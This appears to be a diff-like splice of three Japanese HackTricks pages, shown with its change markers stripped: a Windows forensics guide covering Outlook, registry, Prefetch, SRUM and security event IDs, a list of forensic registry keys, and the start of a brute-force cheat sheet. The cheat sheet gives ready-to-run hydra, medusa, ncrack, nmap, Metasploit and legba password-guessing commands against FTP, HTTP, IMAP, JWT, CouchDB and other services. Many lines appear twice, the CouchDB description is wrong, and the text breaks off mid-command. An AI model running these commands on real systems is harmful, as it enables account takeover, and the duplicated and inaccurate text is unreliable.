* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`: MAPIクライアントに関する情報メッセージが読まれたか、未読か、返信済みか、リダイレクトされたか、オフィスを外出中かなど
Microsoft Outlookクライアントでは、送信/受信したメッセージ、連絡先データ、カレンダーデータが次の場所に保存されます:
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`WinXP
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は使用されているファイルを示します。
PSTファイルを開くには、[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)ツールを使用できます。
![](<../../../.gitbook/assets/image (485).png>)
### Microsoft Outlook OSTファイル
Microsoft Outlookが**IMAP**または**Exchange**サーバーと構成されている場合、**OSTファイル**が生成され、PSTファイルと同様の情報が保存されます。このファイルはサーバーと同期され、**過去12か月間**のデータを最大**50GB**まで保持し、PSTファイルと同じディレクトリに保存されます。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。
### 添付ファイルの取得
失われた添付ファイルは次の場所から回復できる場合があります:
- **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
- **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
### Thunderbird MBOXファイル
**Thunderbird**はデータを保存するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`に保存されます。
### 画像サムネイル
- **Windows XPおよび8-8.1**:サムネイルが表示されるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。
- **Windows 7/10**UNCパスを介してネットワーク経由でアクセスすると、`thumbs.db`が作成されます。
- **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルに保存されます。これらのファイルを表示するためのツールとして、[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)があります。
### Windowsレジストリ情報
Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを保存しており、次の場所にファイルが保存されています
- `HKEY_LOCAL_MACHINE`のさまざまなサブキーに対しては`%windir%\System32\Config`
- `HKEY_CURRENT_USER`に対しては`%UserProfile%{User}\NTUSER.DAT`
- Windows Vista以降では、`HKEY_LOCAL_MACHINE`レジストリファイルは`%Windir%\System32\Config\RegBack\`にバックアップされます。
- さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降では`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。
### ツール
いくつかのツールがレジストリファイルを分析するのに役立ちます:
* **レジストリエディタ**: Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。
* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): レジストリファイルをロードし、GUIでナビゲートすることができます。興味深い情報を含むキーをハイライトするブックマークが含まれています。
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): ロードされたレジストリをナビゲートするためのGUIがあり、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): ロードされたレジストリから重要な情報を抽出できる別のGUIアプリケーションです。
### 削除された要素の回復
キーが削除されると、そのようにマークされますが、そのスペースが必要になるまで削除されません。そのため、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。
### 最終書き込み時刻
各キー値には、最後に変更された時刻を示す**タイムスタンプ**が含まれています。
### SAM
ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、ユーザーパスワード**のハッシュが含まれています。
`SAM\Domains\Account\Users`では、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日時を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。
### Windowsレジストリの興味深いエントリ
{% content-ref url="interesting-windows-registry-keys.md" %}
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
{% endcontent-ref %}
## 実行されたプログラム
### 基本的なWindowsプロセス
[この記事](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスに
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
![](<../../../.gitbook/assets/image (487).png>)
### Superprefetch
**Superprefetch**は、prefetchと同じ目標を持ち、**次に読み込まれるものを予測して**プログラムを**高速に読み込む**ことです。ただし、prefetchサービスを置き換えるものではありません。\
このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。
これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。
この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)ツールを使用してアクセスできます。
### SRUM
**System Resource Usage Monitor**SRUMは、**プロセスによって消費されるリソースを監視**します。W8に登場し、データは`C:\Windows\System32\sru\SRUDB.dat`にあるESEデータベースに保存されます。
次の情報が提供されます:
* AppIDとパス
* プロセスを実行したユーザー
* 送信バイト数
* 受信バイト数
* ネットワークインターフェース
* 接続期間
* プロセス期間
この情報は60分ごとに更新されます。
このファイルからデータを取得するには、[**srum_dump**](https://github.com/MarkBaggett/srum-dump)ツールを使用できます。
```bash
.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum
```
### AppCompatCache (ShimCache)
**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**Application Compatibility Database**の一部であり、アプリケーションの互換性の問題に対処するためのものです。このシステムコンポーネントは、次のファイルメタデータを記録します:
- ファイルの完全なパス
- ファイルのサイズ
- **$Standard\_Information**SIの下の最終更新時刻
- ShimCacheの最終更新時刻
- プロセス実行フラグ
このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます:
- XPの場合、データは`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`に保存され、96エントリを格納できます。
- Server 2003、およびWindowsバージョン2008、2012、2016、7、8、および10の場合、ストレージパスは`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`で、それぞれ512および1024エントリを収容します。
保存された情報を解析するには、[**AppCompatCacheParser**ツール](https://github.com/EricZimmerman/AppCompatCacheParser)の使用をお勧めします。
![](<../../../.gitbook/assets/image (488).png>)
### Amcache
**Amcache.hve**ファイルは、システムで実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve`にあります。
このファイルは、実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。
**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するための使用例です:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
### 最も興味深いCSVファイルは、`Amcache_Unassociated file entries`です。
### RecentFileCache
このアーティファクトは、W7にのみ`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にあり、一部のバイナリの最近の実行に関する情報を含んでいます。
ファイルを解析するには、[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。
### スケジュールされたタスク
これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読むことができます。
### サービス
これらは`SYSTEM\ControlSet001\Services`のレジストリ内にあります。実行される内容と実行されるタイミングを確認できます。
### **Windowsストア**
インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\
このリポジトリには、データベース内の**`StateRepository-Machine.srd`**という名前の**各インストールされたアプリケーション**に関する**ログ**があります。
このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDが連続しているかどうかを確認できます。
また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内に**インストールされたアプリケーション**を見つけることができます。\
そして、**アンインストールされたアプリケーション**は`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。
## Windowsイベント
Windowsイベントに表示される情報は次のとおりです
* 何が起こったか
* タイムスタンプUTC + 0
* 関与するユーザー
* 関与するホストホスト名、IP
* アクセスされたアセット(ファイル、フォルダ、プリンター、サービス)
ログは、Windows Vistaより前では`C:\Windows\System32\config`に、Windows Vista以降では`C:\Windows\System32\winevt\Logs`にあります。Windows Vistaより前では、イベントログはバイナリ形式であり、その後は**XML形式**であり、**.evtx**拡張子を使用します。
イベントファイルの場所は、SYSTEMレジストリ内の**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**にあります。
Windowsイベントビューアー**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com)や[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)などの他のツールで表示できます。
## Windowsセキュリティイベントの理解
セキュリティ構成ファイルに記録されるアクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあります。このファイルのサイズは調整可能であり、容量が達すると古いイベントが上書きされます。記録されるイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダ、共有アセットへのアクセスが含まれます。
### ユーザー認証のための主要なイベントID
- **EventID 4624**: ユーザーが正常に認証されたことを示します。
- **EventID 4625**: 認証の失敗を示します。
- **EventIDs 4634/4647**: ユーザーログオフイベントを表します。
- **EventID 4672**: 管理特権でのログインを示します。
#### EventID 4634/4647内のサブタイプ
- **Interactive (2)**: 直接ユーザーログイン。
- **Network (3)**: 共有フォルダへのアクセス。
- **Batch (4)**: バッチプロセスの実行。
- **Service (5)**: サービスの起動。
- **Proxy (6)**: プロキシ認証。
- **Unlock (7)**: パスワードで画面のロック解除。
- **Network Cleartext (8)**: 明示的なパスワード送信、主にIISから。
- **New Credentials (9)**: アクセスのための異なる資格情報の使用。
- **Remote Interactive (10)**: リモートデスクトップまたはターミナルサービスへのログイン。
- **Cache Interactive (11)**: ドメインコントローラーに連絡せずにキャッシュされた資格情報でのログイン。
- **Cache Remote Interactive (12)**: キャッシュされた資格情報でのリモートログイン。
- **Cached Unlock (13)**: キャッシュされた資格情報でのロック解除。
#### EventID 4625のステータスおよびサブステータスコード
- **0xC0000064**: ユーザー名が存在しない - ユーザー名の列挙攻撃を示す可能性があります。
- **0xC000006A**: 正しいユーザー名が間違ったパスワード - パスワードの推測または総当たり攻撃の試行が考えられます。
- **0xC0000234**: ユーザーアカウントがロックアウトされている - 多数の失敗したログインをもたらす総当たり攻撃の結果として発生する可能性があります。
- **0xC0000072**: アカウントが無効になっている - 無効になったアカウントへの不正アクセス試行。
- **0xC000006F**: 許可された時間外のログオン - 設定されたログイン時間外にアクセスを試みることは、不正アクセスの可能性を示すかもしれません。
- **0xC0000070**: ワークステーションの制限の違反 - 許可されていない場所からのログイン試行。
- **0xC0000193**: アカウントの有効期限切れ - 期限切れのユーザーアカウントでのアクセス試行。
- **0xC0000071**: パスワードの有効期限切れ - 期限切れのパスワードでのログイン試行。
- **0xC0000133**: 時間同期の問題 - クライアントとサーバー間の大きな時間のずれは、パスザチケットなどの高度な攻撃の兆候となる可能性があります。
- **0xC0000224**: 強制的なパスワード変更が必要 - 頻繁な強制的な変更は、アカウントセキュリティを不安定にする試みを示す可能性があります。
- **0xC0000225**: セキュリティ問題ではなく、システムのバグを示します。
- **0xC000015b**: 拒否されたログオンタイプ - ユーザーがサービスログオンを実行しようとするなど、許可されていないログオンタイプでのアクセス試行。
#### EventID 4616:
- **時間の変更**: システム時間の変更、イベントのタイムラインを曖昧にする可能性があります。
#### EventID 6005および6006:
- **システムの起動およびシャットダウン**: EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。
#### EventID 1102:
- **ログの削除**: 不正行為を隠すための赤信号であるセキュリティログのクリア。
#### USBデバイストラッキングのためのEventID
- **20001 / 20003 / 10000**: USBデバイスの初回接続。
- **10100**: USBドライバーの更新。
- **EventID 112**: USBデバイスの挿入時刻。
これらのログインタイプや資格情報ダンプの機会をシミュレートする実践的な例については、[Altered Securityの詳細ガイド](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)を参照してください。
イベントの詳細、特にEvent ID 4625でのステータスおよびサブステータスコードは、イベントの原因に関するさらなる洞察を提供します。
### Windowsイベントの回復
削除されたWindowsイベントを回復する可能性を高めるためには、疑わしいコンピューターの電源を直接抜いて電源を切ることをお勧めします。`.evtx`拡張子を指定する回復ツールである**Bulk_extractor**を使用して、このようなイベントを回復しようとすることをお勧めします。
### Windowsイベントを通じた一般的な攻撃の特定
一般的なサイバー攻撃を特定するためにWindowsイベントIDを利用する包括的なガイドについては、[Red Team Recipe](https://redteamrecipe.com/event-codes/)を参照してください。
#### 総当たり攻撃
複数のEventID 4625レコードによって識別され、攻撃が成功した場合はEventID 4624が続きます。
#### 時間の変更
EventID 4616によって記録され、システム時間の変更はフォレンジック分析を複雑にします。
#### USBデバイストラッキング
USBデバイストラッキングのための有用なシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、および挿入タイムスタンプのためのDeviceSetupManagerからのEventID 112が含まれます。
#### システム電源イベント
EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。
#### ログの削除
セキュリティEventID 1102はログの削除を示し、フォレンジック分析にとって重要なイベントです。

View file

@ -0,0 +1,90 @@
# インタレスティングなWindowsレジストリキー
### インタレスティングなWindowsレジストリキー
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
### **Windowsバージョンと所有者情報**
- **`Software\Microsoft\Windows NT\CurrentVersion`**にあるWindowsバージョン、Service Pack、インストール時間、登録所有者の名前が簡単に見つかります。
### **コンピューター名**
- ホスト名は**`System\ControlSet001\Control\ComputerName\ComputerName`**の下にあります。
### **タイムゾーン設定**
- システムのタイムゾーンは**`System\ControlSet001\Control\TimeZoneInformation`**に保存されています。
### **アクセス時間の追跡**
- デフォルトでは、最終アクセス時間の追跡はオフになっています(**`NtfsDisableLastAccessUpdate=1`**)。有効にするには、次のコマンドを使用します:
`fsutil behavior set disablelastaccess 0`
### WindowsバージョンとService Pack
- **Windowsバージョン**はエディションたとえば、Home、Proとリリースたとえば、Windows 10、Windows 11を示し、**Service Pack**は修正と時に新機能を含む更新です。
### 最終アクセス時間の有効化
- 最終アクセス時間の追跡を有効にすると、ファイルが最後に開かれた時刻がわかり、フォレンジック分析やシステムモニタリングに重要です。
### ネットワーク情報の詳細
- レジストリには、ネットワーク構成に関する包括的なデータが保存されており、**ネットワークの種類無線、ケーブル、3G**や**ネットワークのカテゴリPublic、Private/Home、Domain/Work**などが含まれており、ネットワークセキュリティ設定と権限を理解する上で重要です。
### クライアントサイドキャッシュCSC
- **CSC**は共有ファイルのキャッシュを使用してオフラインファイルアクセスを向上させます。異なる**CSCFlags**設定は、どのファイルがどのようにキャッシュされるかを制御し、特に一時的な接続がある環境ではパフォーマンスやユーザーエクスペリエンスに影響します。
### 自動起動プログラム
- `Run`および`RunOnce`レジストリキーにリストされているプログラムは、自動的に起動され、システムの起動時間に影響を与え、マルウェアや不要なソフトウェアの特定に興味を持つポイントになる可能性があります。
### Shellbags
- **Shellbags**はフォルダビューの設定だけでなく、フォルダへのアクセスのフォレンジック証拠も提供します。フォルダがもはや存在しなくても、他の手段では明らかでないユーザーのアクティビティを明らかにするために貴重です。
### USB情報とフォレンジック
- USBデバイスに関するレジストリに保存されている詳細は、コンピューターに接続されたデバイスを追跡するのに役立ち、機密ファイルの転送や不正アクセスのインシデントにデバイスを関連付ける可能性があります。
### ボリュームシリアル番号
- **ボリュームシリアル番号**は、ファイルシステムの特定のインスタンスを追跡するために重要であり、ファイルの起源を異なるデバイス間で確立する必要があるフォレンジックシナリオで役立ちます。
### **シャットダウンの詳細**
- シャットダウン時刻とカウントXPの場合のみは、**`System\ControlSet001\Control\Windows`**および**`System\ControlSet001\Control\Watchdog\Display`**に保存されています。
### **ネットワーク構成**
- 詳細なネットワークインターフェイス情報については、**`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**を参照してください。
- VPN接続を含む最初と最後のネットワーク接続時刻は、**`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**のさまざまなパスにログが記録されます。
### **共有フォルダ**
- 共有フォルダと設定は**`System\ControlSet001\Services\lanmanserver\Shares`**にあります。クライアントサイドキャッシュCSCの設定はオフラインファイルの利用可能性を決定します。
### **自動的に起動するプログラム**
- **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`**などのパスや`Software\Microsoft\Windows\CurrentVersion`の類似エントリには、起動時に実行されるプログラムの詳細が記載されています。
### **検索と入力されたパス**
- エクスプローラーの検索と入力されたパスは、**`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`**のWordwheelQueryおよびTypedPathsの下にレジストリで追跡されます。
### **最近使用したドキュメントとOfficeファイル**
- アクセスした最近のドキュメントとOfficeファイルは、`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`および特定のOfficeバージョンのパスに記録されます。
### **最近使用したMRUアイテム**
- 最近のファイルパスとコマンドを示すMRUリストは、`NTUSER.DAT`のさまざまな`ComDlg32`および`Explorer`のサブキーに保存されています。
### **ユーザーアクティビティの追跡**
- ユーザーアシスト機能は、**`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**で、実行回数や最終実行時刻などの詳細なアプリケーション使用統計を記録します。
### **Shellbags分析**
- フォルダアクセスの詳細を明らかにするShellbagsは、`USRCLASS.DAT`および`NTUSER.DAT`の`Software\Microsoft\Windows\Shell`に保存されています。分析には**[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)**を使用してください。
### **USBデバイス履歴**
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`**および**`HKLM\SYSTEM\ControlSet001\Enum\USB`**には、接続されたUSBデバイスに関する詳細な情報が含まれており、製造元、製品名、接続時刻などが記載されています。
- 特定のUSBデバイスに関連付けられたユーザーは、デバイスの**{GUID}**を検索して`NTUSER.DAT`ハイブから特定できます。
- 最後にマウントされたデバイスとそのボリュームシリアル番号は、それぞれ`System\MountedDevices`および`Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`を通じて追跡できます。
このガイドは、Windowsシステムでの詳細なシステム、ネットワーク、およびユーザーアクティビティ情報にアクセスするための重要なパスと方法を簡潔かつ使いやすくまとめたものです。

View file

@ -1,4 +1,4 @@
# Brute Force - チートシート
# Brute Force - CheatSheet
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -17,7 +17,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* 独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションである[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
@ -37,13 +37,14 @@ HackTricksをサポートする他の方法
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **独自の辞書を作成する**
ターゲットに関する情報をできるだけ多く見つけ、カスタム辞書を生成します。役立つツール:
### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ -54,21 +55,27 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
Cewlは、Webサイトから単語リストを生成するためのツールです。通常、Cewlは、Webサイトのテキストから単語を抽出し、それらをリスト化します。これにより、後でブルートフォース攻撃やパスワードスプレー攻撃で使用するための単語リストを作成できます。
```bash
cewl example.com -m 5 -w words.txt
```
### [CUPP](https://github.com/Mebus/cupp)
被害者の情報(名前、日付など)に基づいてパスワードを生成します。
```
python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
特定のターゲットに関して使用するための一意で理想的なワードリストを作成するために、与えられた単語から複数のバリエーションを作成することができるツールであるワードリストジェネレーターツール。
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
@ -87,6 +94,7 @@ Generated 67885 lines.
Finished in 0.920s.
```
### [pydictor](https://github.com/LandGrey/pydictor)
### ワードリスト
@ -105,7 +113,7 @@ Finished in 0.920s.
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -115,6 +123,7 @@ Finished in 0.920s.
サービス名のアルファベット順に並べ替えられています。
### AFP
```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
@ -124,106 +133,136 @@ msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```
### AJP
AJPApache JServ Protocolは、Apache Tomcatサーバーと連携するためのプロトコルです。AJPを使用してTomcatサーバーに対してBrute Force攻撃を行うことができます。Brute Force攻撃は、総当たり攻撃とも呼ばれ、自動化されたツールを使用して、パスワードや認証情報を破るために大量の試行を行う攻撃手法です。Brute Force攻撃は、セキュリティ上の脆弱性を突くための一般的な手法の1つです。
```bash
nmap --script ajp-brute -p 8009 <IP>
```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
## AMQPActiveMQ、RabbitMQ、Qpid、JORAM、Solace
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### カサンドラ
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
### CouchDB
CouchDBは、データベースに対するブルートフォース攻撃を防ぐために、`max_document_size`と`max_attachment_size`の設定を使用します。これらの設定を適切に構成することで、大量のデータを一度に送信する攻撃を防ぐことができます。
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Docker Registry
### Docker レジストリ
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```
### Elasticsearch
### Elasticsearch
```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
FTPFile Transfer Protocolは、ファイルをサーバーに転送するためのプロトコルです。FTPサーバーへのアクセスをブルートフォース攻撃で試みることができます。一般的なツールにはHydraやMedusaがあります。
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
### HTTPジェネリックブルート
#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
### HTTPベーシック認証
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
### HTTP - NTLM
NTLM認証は、Windowsベースのシステムで一般的に使用される認証プロトコルです。NTLM認証をバイパスするために、Brute Force攻撃を使用することができます。Brute Force攻撃は、すべての可能なパスワードの組み合わせを試行し、正しい組み合わせを見つけることで認証を回避する手法です。NTLM認証に対するBrute Force攻撃は、一般的なツールやスクリプトを使用して実行することができます。
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - ポストフォーム
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
**https**にするには、"http-post-form"から"**https-post-form"**に変更する必要があります
**https**にするには、"http-post-form"から"\*\*https-post-form"\*\*に変更する必要があります
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
IMAP stands for Internet Message Access Protocol. It is a protocol used to retrieve emails from a mail server. IMAP servers are often targeted for brute force attacks to gain unauthorized access to email accounts.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
IRCInternet Relay Chatは、オープンソースのチャットプロトコルであり、テキストベースのコミュニケーションを可能にします。IRCサーバーに対してブルートフォース攻撃を行うことで、ユーザー名やパスワードを推測することができます。
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
### ISCSI
iSCSI (Internet Small Computer System Interface) is a protocol that allows SCSI commands to be sent over a network. It is commonly used to enable communication between storage devices over an IP network.
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
### JWT
JWTJSON Web Tokenは、認証や情報の交換に使用されるコンパクトで自己完結型の方法です。JWTは、ヘッダー、ペイロード、および署名から構成されています。JWTの署名を検証するために、Brute Force攻撃が使用されることがあります。Brute Force攻撃は、すべての可能な組み合わせを試行し、正しい署名を見つけることを目的としています。
```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
@ -246,37 +285,47 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w
#https://github.com/lmammino/jwt-cracker
